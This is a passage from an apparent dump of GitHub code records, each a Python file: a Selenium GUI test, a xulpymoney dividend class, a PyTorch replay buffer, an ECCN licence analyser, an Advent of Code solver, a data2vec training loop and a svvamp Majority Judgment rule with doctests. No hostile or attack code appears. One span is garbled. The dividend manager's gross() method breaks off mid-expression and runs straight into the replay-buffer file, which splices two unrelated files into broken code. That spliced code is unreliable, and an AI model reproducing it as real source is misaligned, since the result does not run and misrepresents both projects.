'selenium_测试自定义配置模板')\n\n\ndef self_config_del():\n # 进入自定义配置模板页\n tool.click_action(\n '//*[@id=\"leftNav\"]/li[4]',\n '配置管理标签'\n )\n tool.click_action(\n '//*[@id=\"leftNav\"]/li[4]/ul/li[4]',\n '金额抓取独立配置标签'\n )\n # 模板名称输入框输入:selenium_测试自定义配置模板\n tool.fill_action(\n 'templateName',\n 'selenium_测试自定义配置模板',\n '模板名称输入框',\n locator=By.ID\n )\n # 点击查询按钮\n tool.click_action(\n 'querybtn',\n '查询按钮',\n locator=By.ID\n )\n # 点击删除图标,进入删除页面\n tool.click_action(\n '//a[@title=\"删除\"]',\n '删除图标'\n )\n # 点击确定按钮\n tool.click_action(\n 'ok',\n '确定按钮',\n locator=By.CLASS_NAME,\n response_time=1\n )\n # 断言\n tool.equal_text_assert(\n '/html/body/div/div/span/p',\n '提示消息',\n '删除自定义通用配置成功',\n end='@结束@'\n )\n\n\nif __name__ == \"__main__\":\n self_config_del()\n tool.mark_status()\n tool.finished()\n # 清理环境\n del_self_config_mode(self_config_mode_id, cus_id)\n delete_customer(cus_id)\n","repo_name":"FengZiQ/dm_gui","sub_path":"自定义配置模板删除.py","file_name":"自定义配置模板删除.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73840146586","text":"from PyQt5.QtCore import QObject\nfrom datetime import date\nfrom xulpymoney.libmanagers import ObjectManager_With_IdDatetime_Selectable\nfrom xulpymoney.libxulpymoneytypes import eMoneyCurrency, eComment\nfrom xulpymoney.objects.money import Money\nfrom xulpymoney.objects.percentage import Percentage\nfrom xulpymoney.ui.myqtablewidget import qcenter, qleft, qdatetime\n\nclass Dividend:\n def __init__(self, mem):\n self.mem=mem\n self.id=None\n self.investment=None\n self._gross=None\n self.taxes=None\n self._net=None\n self.dpa=None\n self.datetime=None\n self.opercuenta=None\n self._commission=None\n self.concept=None#Puedeser 39 o 62 para derechos selling_price\n self.currency_conversion=None\n\n def __repr__(self):\n return (\"Instancia de Dividend: {0} ({1})\".format( self._net, self.id))\n \n def init__create(self, inversion, gross, taxes, net, dpa, fecha, commission, concept, currency_conversion, opercuenta=None, id=None):\n \"\"\"Opercuenta puede no aparecer porque se asigna al hacer un save que es cuando se crea. Si id=None,opercuenta debe ser None\"\"\"\n self.id=id\n self.investment=inversion\n self._gross=gross\n self.taxes=taxes\n self._net=net\n self.dpa=dpa\n self.datetime=fecha\n self.opercuenta=opercuenta\n self._commission=commission\n self.concept=concept\n self.currency_conversion=currency_conversion\n return self\n \n def init__db_row(self, row, inversion, opercuenta, concept):\n return self.init__create(inversion, row['gross'], row['taxes'], row['net'], row['dps'], row['datetime'], row['commission'], concept, row['currency_conversion'], opercuenta, row['id'])\n \n def init__db_query(self, id):\n \"\"\"\n Searches in db dividend, investment from memory, operaccount from db\n \"\"\"\n row=self.mem.con.cursor_one_row(\"select * from dividends where id=%s\", (id, ))\n from xulpymoney.objects.accountoperation import AccountOperation\n accountoperation=AccountOperation(self.mem, row['accountsoperations_id'])\n return self.init__db_row(row, self.mem.data.investments.find_by_id(row['investments_id']), accountoperation, self.mem.concepts.find_by_id(row['concepts_id']))\n \n def borrar(self):\n \"\"\"Borra un dividend, para ello borra el registro de la tabla dividends \n y el asociado en la tabla accountsoperations\n \n También actualiza el balance de la cuenta.\"\"\"\n cur=self.mem.con.cursor()\n self.opercuenta.borrar()\n cur.execute(\"delete from dividends where id_dividends=%s\", (self.id, ))\n cur.close()\n \n def gross(self, type=eMoneyCurrency.Product):\n if type==1:\n return Money(self.mem, self._gross, self.investment.product.currency)\n elif type==2:\n return Money(self.mem, self._gross, self.investment.product.currency).convert_from_factor(self.investment.account.currency, self.currency_conversion)\n elif type==3:\n return Money(self.mem, self._gross, self.investment.product.currency).convert_from_factor(self.investment.account.currency, self.currency_conversion).local(self.datetime)\n\n def net(self, type=eMoneyCurrency.Product):\n if type==1:\n return Money(self.mem, self._net, self.investment.product.currency)\n elif type==2:\n return Money(self.mem, self._net, self.investment.product.currency).convert_from_factor(self.investment.account.currency, self.currency_conversion)\n elif type==3:\n return Money(self.mem, self._net, self.investment.product.currency).convert_from_factor(self.investment.account.currency, self.currency_conversion).local(self.datetime)\n def retention(self, type=eMoneyCurrency.Product):\n if type==1:\n return Money(self.mem, self.taxes, self.investment.product.currency)\n elif type==2:\n return Money(self.mem, self.taxes, self.investment.product.currency).convert_from_factor(self.investment.account.currency, self.currency_conversion)\n elif type==3:\n return Money(self.mem, self.taxes, self.investment.product.currency).convert_from_factor(self.investment.account.currency, self.currency_conversion).local(self.datetime)\n def dps(self, type=eMoneyCurrency.Product):\n \"Dividend per share\"\n if type==1:\n return Money(self.mem, self.dpa, self.investment.product.currency)\n elif type==2:\n return Money(self.mem, self.dpa, self.investment.product.currency).convert_from_factor(self.investment.account.currency, self.currency_conversion)\n elif type==3:\n return Money(self.mem, self.dpa, self.investment.product.currency).convert_from_factor(self.investment.account.currency, self.currency_conversion).local(self.datetime)\n def commission(self, type=eMoneyCurrency.Product):\n if type==1:\n return Money(self.mem, self._commission, self.investment.product.currency)\n elif type==2:\n return Money(self.mem, self._commission, self.investment.product.currency).convert_from_factor(self.investment.account.currency, self.currency_conversion)\n elif type==3:\n return Money(self.mem, self._commission, self.investment.product.currency).convert_from_factor(self.investment.account.currency, self.currency_conversion).local(self.datetime)\n \n def copy(self ):\n return Dividend(self.mem).init__create(self.investment, self._gross, self.taxes, self._net, self.dpa, self.datetime, self._commission, self.concept, self.currency_conversion, self.opercuenta, self.id)\n \n def neto_antes_impuestos(self):\n return self._gross-self._commission\n \n def save(self):\n \"\"\"Insertar un dividend y una opercuenta vinculada a la tabla dividends en el campo accountsoperations_id\n \n En caso de que sea actualizar un dividend hay que actualizar los datos de opercuenta y se graba desde aquí. No desde el objeto opercuenta\n \n Actualiza la cuenta \n \"\"\"\n from xulpymoney.objects.accountoperation import AccountOperation\n from xulpymoney.objects.comment import Comment\n if self.id==None:#Insertar\n self.opercuenta=AccountOperation(self.mem, self.datetime,self.concept, self.concept.tipooperacion, self._net, \"Transaction not finished\", self.investment.account, None)\n self.opercuenta.save()\n self.id=self.mem.con.cursor_one_field(\"insert into dividends (datetime, dps, gross, taxes, net, investments_id,accountsoperations_id, commission, concepts_id,currency_conversion) values (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s) returning id\", (self.datetime, self.dpa, self._gross, self.taxes, self._net, self.investment.id, self.opercuenta.id, self._commission, self.concept.id, self.currency_conversion))\n self.opercuenta.comment=Comment(self.mem).encode(eComment.Dividend, self)\n self.opercuenta.save()\n else:\n self.opercuenta.datetime=self.datetime\n self.opercuenta.amount=self._net\n self.opercuenta.comment=Comment(self.mem).encode(eComment.Dividend, self)\n self.opercuenta.concept=self.concept\n self.opercuenta.tipooperacion=self.concept.tipooperacion\n self.opercuenta.save()\n self.mem.con.execute(\"update dividends set datetime=%s, dps=%s, gross=%s, taxes=%s, net=%s, investments_id=%s, accountsoperations_id=%s, commission=%s, concepts_id=%s, currency_conversion=%s where id=%s\", (self.datetime, self.dpa, self._gross, self.taxes, self._net, self.investment.id, self.opercuenta.id, self._commission, self.concept.id, self.currency_conversion, self.id))\n\nclass DividendHeterogeneusManager(ObjectManager_With_IdDatetime_Selectable, QObject):\n \"\"\"Class that groups dividends from a Xulpymoney Product\"\"\"\n def __init__(self, mem):\n ObjectManager_With_IdDatetime_Selectable.__init__(self)\n QObject.__init__(self)\n self.setConstructorParameters(mem)\n self.mem=mem\n \n ## Net amount in self.mem.localcurrency\n def net(self):\n r=Money(self.mem, 0, self.mem.localcurrency)\n for d in self.arr:\n r=r+d.net(eMoneyCurrency.User)\n return r\n\n ## Gross amount in self.mem.localcurrency\n def gross(self):\n r=Money(self.mem, 0, self.mem.localcurrency)\n for d in self.arr:\n r=r+d.gross(eMoneyCurrency.User)\n return r\n ## retention amount in self.mem.localcurrency\n def retention(self):\n r=Money(self.mem, 0, self.mem.localcurrency)\n for d in self.arr:\n r=r+d.retention(eMoneyCurrency.User)\n return r\n\n ## commission amount in self.mem.localcurrency\n def commission(self):\n r=Money(self.mem, 0, self.mem.localcurrency)\n for d in self.arr:\n r=r+d.commission(eMoneyCurrency.User)\n return r\n\n def load_from_db(self, sql): \n del self.arr\n self.arr=[]\n cur=self.mem.con.cursor()\n cur.execute( sql)#\"select * from dividends where investments_id=%s order by datetime\", (self.investment.id, )\n for row in cur:\n from xulpymoney.objects.accountoperation import AccountOperation\n inversion=self.mem.data.investments.find_by_id(row['investments_id'])\n oc=AccountOperation(self.mem, row['accountsoperations_id'])\n self.arr.append(Dividend(self.mem).init__db_row(row, inversion, oc, self.mem.concepts.find_by_id(row['concepts_id']) ))\n cur.close() \n\n def myqtablewidget(self, wdg, type=eMoneyCurrency.User):\n hh=[self.tr(\"Date\"), self.tr(\"Product\"), self.tr(\"Concept\"), self.tr(\"Gross\"), self.tr(\"Withholding\"), self.tr(\"Commission\"), self.tr(\"Net\"), self.tr(\"DPS\")]\n data=[]\n for i, o in enumerate(self.arr):\n data.append([\n o.datetime, \n o.investment.fullName(), \n o.opercuenta.concept.name, \n o.gross(type), \n o.retention(type), \n o.commission(type), \n o.net(type), \n o.dps(type), \n o,\n ])\n\n wdg.setDataWithObjects(hh, None, data, additional=self.myqtablewidget_additional, zonename=self.mem.localzone_name)\n\n def myqtablewidget_additional(self, wdg):\n wdg.table.setRowCount(wdg.length()+1)\n wdg.addRow(wdg.length(), [self.tr(\"Total\"), \"#crossedout\", \"#crossedout\", self.gross(), self.retention(), self.commission(),self.net(), \"#crossedout\",], zonename=self.mem.localzone_name)\n\nclass DividendHomogeneusManager(DividendHeterogeneusManager):\n def __init__(self, mem, investment):\n DividendHeterogeneusManager.__init__(self, mem)\n self.setConstructorParameters(mem, investment)\n self.investment=investment\n \n ## @param emoneycurrency eMoneyCurrency type\n ## @param current If true only shows dividends from first current operation. If false show all dividends\n def gross(self, emoneycurrency, current):\n r=Money(self.mem, 0, self.investment.resultsCurrency(emoneycurrency))\n for d in self.arr:\n if current==True and self.investment.op_actual.length()>0 and d.datetime0 and d.datetime0 and d.datetime dict[str, torch.Tensor]:\n ret = {}\n for key in transitions.keys():\n value = transitions[key]\n if key != 'info':\n ret[key] = torch.as_tensor(value)\n return ret\n\n def _init_like(self, transition, batch=True):\n self.data = {}\n for key in transition.keys():\n # TorchReplayBuffer doesn't support .items()\n value = transition[key]\n shape, dtype = value.shape, value.dtype\n if batch:\n shape = shape[1:]\n\n self.data[key] = torch.empty(self.max_buf_size, *shape, dtype=dtype, device=self.device)\n\n def add_transition(self, transition: dict):\n transition = self.process_transition(transition, batch=False)\n\n if self.data is None:\n self._init_like(transition, batch=False)\n\n for key in self.data.keys():\n self._buf_add(self.data[key], self.length % self.max_buf_size, transition[key], batch=False)\n self.length += 1\n\n def sample(self, n_samples: int = 1, *, indices=None):\n if indices is None:\n indices = np.random.randint(len(self), size=(n_samples,), dtype=np.int64)\n batch = {k: v[indices] for k, v in self.data.items()}\n return batch\n\n def __len__(self):\n return min(self.length, self.max_buf_size)\n\n @torch.no_grad()\n def add_transitions(self, transitions):\n if isinstance(transitions, (dict, ReplayBuffer)):\n if isinstance(transitions, dict):\n transitions = self.process_transition(transitions, batch=True)\n lengths = [len(v) for v in transitions.values()]\n n = lengths[0]\n assert all([length == n for length in lengths])\n else:\n n = len(transitions)\n\n if self.data is None:\n self._init_like(transitions, batch=True)\n\n # self.data might not be initialized yet.\n for key in transitions.keys():\n # for i in range(n):\n # self._buf_add(self.data[key], (self.length + i) % self.max_buf_size, transitions[key][i])\n self._buf_add(self.data[key], self.length % self.max_buf_size, transitions[key], batch=True)\n self.length += n\n elif isinstance(transitions, (list, tuple, np.recarray)):\n for transition in transitions:\n self.add_transition(transition)\n else:\n raise NotImplementedError\n\n def __getitem__(self, item):\n return self.data[item][:len(self)]\n\n def keys(self):\n return self.data.keys()\n\n def data_loader(self, batch_size, *, n_iters_per_epoch=None, replace=False):\n from torch.utils.data.dataloader import DataLoader\n buf = self\n\n class Loader:\n def __iter__(self):\n assert buf.data is not None\n if replace:\n n_iters = n_iters_per_epoch if n_iters_per_epoch is not None else len(buf) // batch_size\n for _ in range(n_iters):\n yield buf.sample(batch_size)\n else:\n assert n_iters_per_epoch is None\n n = len(buf)\n indices = np.random.permutation(len(buf))\n for i in range(0, n, batch_size):\n yield buf.sample(indices=indices[i:i + batch_size])\n\n return Loader()\n\n def __iadd__(self, other):\n self.add_transitions(other)\n return self\n\n def _buf_add(self, buf, idx, data, *, batch):\n if batch:\n n = len(data)\n if n + idx > self.max_buf_size:\n m = self.max_buf_size - idx\n buf[idx:] = data[:m]\n buf[:n - m] = data[m:]\n else:\n buf[idx:idx+n] = torch.as_tensor(data, device=self.device)\n else:\n buf[idx] = torch.as_tensor(data, device=self.device)\n","repo_name":"roosephu/crabs","sub_path":"rlz/replay_buffer.py","file_name":"replay_buffer.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"11"} +{"seq_id":"70168071707","text":"#!/usr/bin/env python3\n\nfrom logging import getLogger\n\nfrom common.file import extract_json\nfrom api.logger import getLogger\nfrom .crypto_analyser import CryptoAnalyser\nfrom .interface import PrologInterface\n\n\ndef extract_filepath(name):\n return '/'.join(['unknown' if not d else d for d in name.split(\":\")])\n\n\nclass ECCN:\n def __init__(self, prolog_ip: str, crypto_conf: str):\n self._logger = getLogger('eccn')\n self._prolog_interface = PrologInterface(prolog_ip)\n self.crypto_analyser = CryptoAnalyser(extract_json(crypto_conf))\n\n def exec(self, data: dict, source: str) -> list:\n self._logger.info(f\"Execution launched with {len(data['analyzer']['result']['packages'])} elements.\")\n result = []\n for package in data[\"analyzer\"][\"result\"][\"packages\"]:\n result.append(self.analyse(package, source))\n return result\n\n def analyse(self, package: dict, source: str) -> dict:\n package_id = package[\"package\"][\"id\"]\n name = package_id.split(':')[2]\n version = package_id.split(':')[3]\n\n self._logger.info(f'Analysis of package {name}:{version}.')\n\n crypto = self.crypto_analyser.exec(name, version, f'{source}/{extract_filepath(package_id)}')\n code = self._prolog_interface.get(package[\"package\"][\"declared_licenses_processed\"].get('spdx_expression', 'unknown'),\n crypto['score'])\n\n return {\n 'name': name,\n 'version': version,\n 'url': package[\"package\"][\"homepage_url\"],\n 'description': package[\"package\"][\"description\"].replace(\",\", \"\"),\n 'licence': \"|\".join(package[\"package\"][\"declared_licenses\"]),\n 'code': code,\n **crypto\n }\n","repo_name":"linagora/Lincompliance","sub_path":"libs/src/eccn/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"27535794997","text":"import re\n\n# input_items = open('./example-input.txt').read().split('\\n')\ninput_items = open('./input.txt').read().split('\\n')\n\ngrid = [[col for col in row] for row in input_items[:-2]]\nHEIGHT = len(grid)\nWIDTH = len(grid[0])\nsteps = [i if i.isalpha() else int(i) for i in re.findall('(\\d+|[RL])', input_items[-1])]\n\n# FILL MISSING SPOTS\nfor row in grid:\n row += [' '] * (WIDTH - len(row))\n\nRIGHT = 0\nDOWN = 1\nLEFT = 2\nUP = 3\n\n\ndef find_start(grid):\n for row in range(HEIGHT):\n for col in range(WIDTH):\n if grid[row][col] == '.':\n return row, col\n\n\nimport os\nimport time\n\n\ndef dir_char(d):\n if d == LEFT:\n return '<'\n if d == RIGHT:\n return '>'\n if d == UP:\n return '^'\n return 'V'\n\n\ndef print_grid(row, col, d):\n return\n global grid\n _g = [r.copy() for r in grid]\n _g[row][col] = dir_char(d)\n time.sleep(.1)\n os.system('clear')\n for row in _g:\n print(''.join(row))\n\n\ndef pprint(message):\n print(message)\n pass\n\n\ndef get_next_step(row, col, direction):\n global grid\n pprint(f'\\t\\t\\t\\t{row}, {col}, {direction}')\n drow, dcol = None, None\n if direction == RIGHT:\n drow, dcol = row, col + 1\n elif direction == LEFT:\n drow, dcol = row, col - 1\n elif direction == UP:\n drow, dcol = row - 1, col\n elif direction == DOWN:\n drow, dcol = row + 1, col\n\n over_the_top = drow < 0\n over_the_left = dcol < 0\n over_the_right = dcol >= WIDTH\n over_the_bottom = drow >= HEIGHT\n\n if not any([\n over_the_top,\n over_the_left,\n over_the_right,\n over_the_bottom,\n ]):\n curr_space_not_walkable = grid[drow][dcol] == ' '\n over_the_top = curr_space_not_walkable and direction == UP\n over_the_left = curr_space_not_walkable and direction == LEFT\n over_the_right = curr_space_not_walkable and direction == RIGHT\n over_the_bottom = curr_space_not_walkable and direction == DOWN\n\n if over_the_top:\n drow = HEIGHT - 1 # jump to bottom\n pprint(f'\\t\\t\\t\\tjump bottom')\n while grid[drow][dcol] not in ('.', '#'):\n drow -= 1\n elif over_the_bottom:\n drow = 0 # jump to top\n pprint(f'\\t\\t\\t\\tjump top')\n while grid[drow][dcol] not in ('.', '#'):\n drow += 1\n elif over_the_left:\n pprint(f'\\t\\t\\t\\tjump right')\n dcol = WIDTH - 1 # jump to RIGHT\n while grid[drow][dcol] not in ('.', '#'):\n dcol -= 1\n elif over_the_right:\n pprint(f'\\t\\t\\t\\tjump left')\n dcol = 0 # jump to LEFT\n while grid[drow][dcol] not in ('.', '#'):\n dcol += 1\n\n # If next space is not walkable, just stop trying\n if grid[drow][dcol] == '#':\n return None\n\n return drow, dcol\n\n\ncurr_row, curr_col = find_start(grid)\n\nnext_step_is_number = True\ncurrent_direction = RIGHT\n\nprint(' '.join([str(i) for i in steps]))\n\nwhile steps:\n\n next_step = steps.pop(0)\n pprint(f'Step is {next_step}')\n\n if next_step_is_number:\n pprint(f'\\tWalk {next_step} to the {dir_char(current_direction)}')\n next_step_is_number = False\n while next_step:\n pprint(f'\\t\\t{next_step} steps remaining : {curr_row, curr_col}')\n next_step -= 1\n next_step_position = get_next_step(curr_row, curr_col, current_direction)\n if not next_step_position:\n pprint('\\t\\t\\twe are blocked')\n break\n curr_row, curr_col = next_step_position\n print_grid(curr_row, curr_col, current_direction)\n\n else:\n next_step_is_number = True\n prev_dir = current_direction\n if next_step == 'L':\n if current_direction == LEFT:\n current_direction = DOWN\n elif current_direction == RIGHT:\n current_direction = UP\n elif current_direction == UP:\n current_direction = LEFT\n elif current_direction == DOWN:\n current_direction = RIGHT\n else:\n if current_direction == LEFT:\n current_direction = UP\n elif current_direction == RIGHT:\n current_direction = DOWN\n elif current_direction == UP:\n current_direction = RIGHT\n elif current_direction == DOWN:\n current_direction = LEFT\n pprint(f'Turn {next_step} :: {dir_char(prev_dir)} {dir_char(current_direction)}')\n print_grid(curr_row, curr_col, current_direction)\n\nitems = [\n 1000 * (curr_row + 1),\n 4 * (curr_col + 1),\n current_direction\n]\nanswer = sum(items)\n\nprint(f'row={curr_row}; col={curr_col}; dir={current_direction}')\nprint(items)\nprint(f'Answer={answer}')\n","repo_name":"AdmTal/atal-advent-of-code-2022","sub_path":"day-22-monkey-map/part-1.py","file_name":"part-1.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20433414904","text":"import torch\nfrom torch.utils.tensorboard import SummaryWriter\nimport datetime\nimport os\nimport wandb\n\nfrom finetuning.train import train\nfrom finetuning.validation import validate\n\n\ndef main_worker(num_epochs, model, opt, criterion, schedule, scaler, model_name, train_loader, val_loader,\n req_batch_size, device, mixup_fn, config, start_epoch=0):\n #log_dir = f\"/home/myyycroft/repos/data2vec/outputs/{model_name}_{datetime.datetime.now().strftime('%Y_%m_%d_%Hh')}\"\n #save_dir = f\"/home/myyycroft/repos/data2vec/checkpoints/{model_name}_{datetime.datetime.now().strftime('%Y_%m_%d_%Hh')}\"\n snapshot_dir = os.getenv(\"SNAPSHOT_PATH\")\n log_dir = f\"{snapshot_dir}/outputs/{model_name}_{datetime.datetime.now().strftime('%Y_%m_%d_%Hh')}\"\n save_dir = f\"{snapshot_dir}/checkpoints/{model_name}_{datetime.datetime.now().strftime('%Y_%m_%d_%Hh')}\"\n\n os.makedirs(log_dir, exist_ok=True)\n os.makedirs(save_dir, exist_ok=True)\n writer_train = SummaryWriter(os.path.join(log_dir, 'train'))\n writer_val = SummaryWriter(os.path.join(log_dir, 'valid'))\n\n experiment_name = f\"{model_name}_finetune_{datetime.datetime.now().strftime('%Y_%m_%d_%Hh')}\"\n wandb.init(project=\"data2vec\", entity=\"exxxplainer\", name=experiment_name, config=config)\n wandb.watch(model)\n\n best_acc1 = -1.\n for epoch in range(start_epoch + 1, num_epochs):\n train(train_loader, model, criterion, opt, schedule, epoch, device, writer_train, req_batch_size, mixup_fn)\n acc1 = validate(val_loader, model, epoch, device, writer_val)\n\n wandb.log({\"validation_accuracy\": acc1, \"epoch\": epoch})\n\n is_best = acc1 > best_acc1\n best_acc1 = max(acc1, best_acc1)\n\n if is_best:\n state = {\n 'epoch': epoch,\n 'state_dict': model.state_dict(),\n 'best_acc1': best_acc1,\n 'optimizer': opt.state_dict(),\n 'schedule': schedule,\n }\n if scaler is not None:\n state[\"scaler\"] = scaler.state_dict()\n\n torch.save(state, f\"{save_dir}/Epoch: {epoch}, acc: {best_acc1:.5f}\")\n","repo_name":"ansar2019/data2vec","sub_path":"finetuning/main_worker.py","file_name":"main_worker.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"73260698908","text":"# Definition for singly-linked list.\nfrom typing import Optional\n\n\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def hasCycle(self, head: Optional[ListNode]) -> bool:\n h = set()\n now = head\n while now != None:\n if now in h:\n return True\n h.add(now)\n now = now.next\n return False\n","repo_name":"dawn-cmd/LeetCode","sub_path":"141__Linked_List_Cycle.py","file_name":"141__Linked_List_Cycle.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73816351388","text":"import numpy as np\nfrom math import floor, ceil\nfrom svvamp.rules.rule import Rule\nfrom svvamp.utils import type_checker\nfrom svvamp.utils.util_cache import cached_property\nfrom svvamp.utils.pseudo_bool import equal_false\nfrom svvamp.preferences.profile import Profile\n\n\nclass RuleMajorityJudgment(Rule):\n \"\"\"Majority Judgment.\n\n Parameters\n ----------\n min_grade : number\n Minimal grade allowed.\n max_grade : number\n Maximal grade allowed.\n step_grade : number\n Interval between two consecutive allowed grades.\n\n * If ``step_grade = 0``, all grades in the interval [:attr:`min_grade`, :attr:`max_grade`] are allowed\n ('continuous' set of grades).\n * If ``step_grade > 0``, authorized grades are the multiples of :attr:`step_grade` lying in the interval\n [:attr:`min_grade`, :attr:`max_grade`]. In addition, the grades :attr:`min_grade` and :attr:`max_grade` are\n always authorized, even if they are not multiples of :attr:`step_grade`.\n\n rescale_grades : bool\n Whether sincere voters rescale their utilities to produce grades.\n\n * If ``rescale_grades`` = ``True``, then each sincere voter ``v`` applies an affine transformation to send\n her utilities into the interval [:attr:`min_grade`, :attr:`max_grade`].\n * If ``rescale_grades`` = ``False``, then each sincere voter ``v`` clips her utilities into the interval\n [:attr:`min_grade`, :attr:`max_grade`].\n\n See :attr:`ballots` for more details.\n\n Options\n -------\n >>> RuleMajorityJudgment.print_options_parameters()\n cm_option: ['exact']. Default: 'exact'.\n icm_option: ['exact']. Default: 'exact'.\n iia_subset_maximum_size: is_number. Default: 2.\n im_option: ['exact']. Default: 'exact'.\n max_grade: isfinite. Default: 1.\n min_grade: isfinite. Default: 0.\n rescale_grades: is_bool. Default: True.\n step_grade: isfinite. Default: 0.\n tm_option: ['exact']. Default: 'exact'.\n um_option: ['exact']. Default: 'exact'.\n\n Notes\n -----\n Each voter attributes a grade to each candidate. By default, authorized grades are all numbers in the interval\n [:attr:`min_grade`, :attr:`max_grade`]. To use a discrete set of notes, modify attribute :attr:`step_grade`.\n\n .. note::\n\n Majority Judgement, as promoted by its authors, uses a discrete set of non-numerical grades. For our purposes,\n using a discrete set of numerical grades (:attr:`step_grade` > 0) is isomorphic to this voting system. In\n contrast, using a continuous set of grades (:attr:`step_grade` = 0) is a variant of this voting system, which\n has the advantage of being canonical, in the sense that there is no need to choose the number of authorized\n grades more or less arbitrarily.\n\n The candidate with highest median grade wins. For the tie-breaking rule, see :attr:`scores`.\n\n Default behavior of sincere voters: voter ``v`` applies an affine transformation to her utilities\n :attr:`preferences_ut`\\\\ ``[v, :]`` to get her grades, such that her least-liked candidate receives\n :attr:`min_grade` and her most-liked candidate receives :attr:`max_grade`. To modify this behavior, use attribute\n :attr:`rescale_grades`. For more details about the behavior of sincere voters, see :attr:`ballots`.\n\n * :meth:`not_iia`:\n\n * If :attr:`rescale_grades` = ``False``, then Majority Judgment always meets IIA.\n * If :attr:`rescale_grades` = ``True``, then non-polynomial or non-exact algorithms from superclass\n :class:`Rule` are used.\n\n * :meth:`is_cm_`, :meth:`is_icm_`, :meth:`is_im_`, :meth:`is_tm_`, :meth:`is_um_`: Exact in polynomial time.\n\n References\n ----------\n Majority Judgment : Measuring, Ranking, and Electing. Michel Balinski and Rida Laraki, 2010.\n\n Examples\n --------\n >>> profile = Profile(preferences_ut=[\n ... [ 0. , -0.5, -1. ],\n ... [ 1. , -1. , 0.5],\n ... [ 0.5, 0.5, -0.5],\n ... [ 0.5, 0. , 1. ],\n ... [-1. , -1. , 1. ],\n ... ], preferences_rk=[\n ... [0, 1, 2],\n ... [0, 2, 1],\n ... [1, 0, 2],\n ... [2, 0, 1],\n ... [2, 1, 0],\n ... ])\n >>> rule = RuleMajorityJudgment()(profile)\n >>> rule.demo_results_(log_depth=0) # doctest: +NORMALIZE_WHITESPACE\n \n ************************\n * *\n * Election Results *\n * *\n ************************\n \n ***************\n * Results *\n ***************\n profile_.preferences_ut (reminder) =\n [[ 0. -0.5 -1. ]\n [ 1. -1. 0.5]\n [ 0.5 0.5 -0.5]\n [ 0.5 0. 1. ]\n [-1. -1. 1. ]]\n profile_.preferences_rk (reminder) =\n [[0 1 2]\n [0 2 1]\n [1 0 2]\n [2 0 1]\n [2 1 0]]\n ballots =\n [[1. 0.5 0. ]\n [1. 0. 0.75]\n [1. 1. 0. ]\n [0.5 0. 1. ]\n [0. 0. 1. ]]\n scores =\n [[ 1. 0. 0.75]\n [-2. 2. -2. ]]\n candidates_by_scores_best_to_worst\n [0 2 1]\n scores_best_to_worst\n [[ 1. 0.75 0. ]\n [-2. -2. 2. ]]\n w = 0\n score_w = [ 1. -2.]\n total_utility_w = 1.0\n \n *********************************\n * Condorcet efficiency (rk) *\n *********************************\n w (reminder) = 0\n \n condorcet_winner_rk_ctb = 0\n w_is_condorcet_winner_rk_ctb = True\n w_is_not_condorcet_winner_rk_ctb = False\n w_missed_condorcet_winner_rk_ctb = False\n \n condorcet_winner_rk = 0\n w_is_condorcet_winner_rk = True\n w_is_not_condorcet_winner_rk = False\n w_missed_condorcet_winner_rk = False\n \n ***************************************\n * Condorcet efficiency (relative) *\n ***************************************\n w (reminder) = 0\n \n condorcet_winner_ut_rel_ctb = 0\n w_is_condorcet_winner_ut_rel_ctb = True\n w_is_not_condorcet_winner_ut_rel_ctb = False\n w_missed_condorcet_winner_ut_rel_ctb = False\n \n condorcet_winner_ut_rel = 0\n w_is_condorcet_winner_ut_rel = True\n w_is_not_condorcet_winner_ut_rel = False\n w_missed_condorcet_winner_ut_rel = False\n \n ***************************************\n * Condorcet efficiency (absolute) *\n ***************************************\n w (reminder) = 0\n \n condorcet_admissible_candidates =\n [ True False False]\n w_is_condorcet_admissible = True\n w_is_not_condorcet_admissible = False\n w_missed_condorcet_admissible = False\n \n weak_condorcet_winners =\n [ True False False]\n w_is_weak_condorcet_winner = True\n w_is_not_weak_condorcet_winner = False\n w_missed_weak_condorcet_winner = False\n \n condorcet_winner_ut_abs_ctb = 0\n w_is_condorcet_winner_ut_abs_ctb = True\n w_is_not_condorcet_winner_ut_abs_ctb = False\n w_missed_condorcet_winner_ut_abs_ctb = False\n \n condorcet_winner_ut_abs = 0\n w_is_condorcet_winner_ut_abs = True\n w_is_not_condorcet_winner_ut_abs = False\n w_missed_condorcet_winner_ut_abs = False\n \n resistant_condorcet_winner = nan\n w_is_resistant_condorcet_winner = False\n w_is_not_resistant_condorcet_winner = True\n w_missed_resistant_condorcet_winner = False\n >>> rule.demo_manipulation_(log_depth=0) # doctest: +NORMALIZE_WHITESPACE\n \n *****************************\n * *\n * Election Manipulation *\n * *\n *****************************\n \n *********************************************\n * Basic properties of the voting system *\n *********************************************\n with_two_candidates_reduces_to_plurality = False\n is_based_on_rk = False\n is_based_on_ut_minus1_1 = True\n meets_iia = False\n \n ****************************************************\n * Manipulation properties of the voting system *\n ****************************************************\n Condorcet_c_ut_rel_ctb (False) ==> Condorcet_c_ut_rel (False)\n || ||\n || Condorcet_c_rk_ctb (False) ==> Condorcet_c_rk (False) ||\n || || || || || ||\n V V || || V V\n Condorcet_c_ut_abs_ctb (False) ==> Condorcet_ut_abs_c (False)\n || || || ||\n || V V ||\n || maj_fav_c_rk_ctb (False) ==> maj_fav_c_rk (False) ||\n || || || ||\n V V V V\n majority_favorite_c_ut_ctb (False) ==> majority_favorite_c_ut (False)\n || ||\n V V\n IgnMC_c_ctb (True) ==> IgnMC_c (True)\n || ||\n V V\n InfMC_c_ctb (True) ==> InfMC_c (True)\n \n *****************************************************\n * Independence of Irrelevant Alternatives (IIA) *\n *****************************************************\n w (reminder) = 0\n is_iia = True\n log_iia: iia_subset_maximum_size = 2.0\n example_winner_iia = nan\n example_subset_iia = 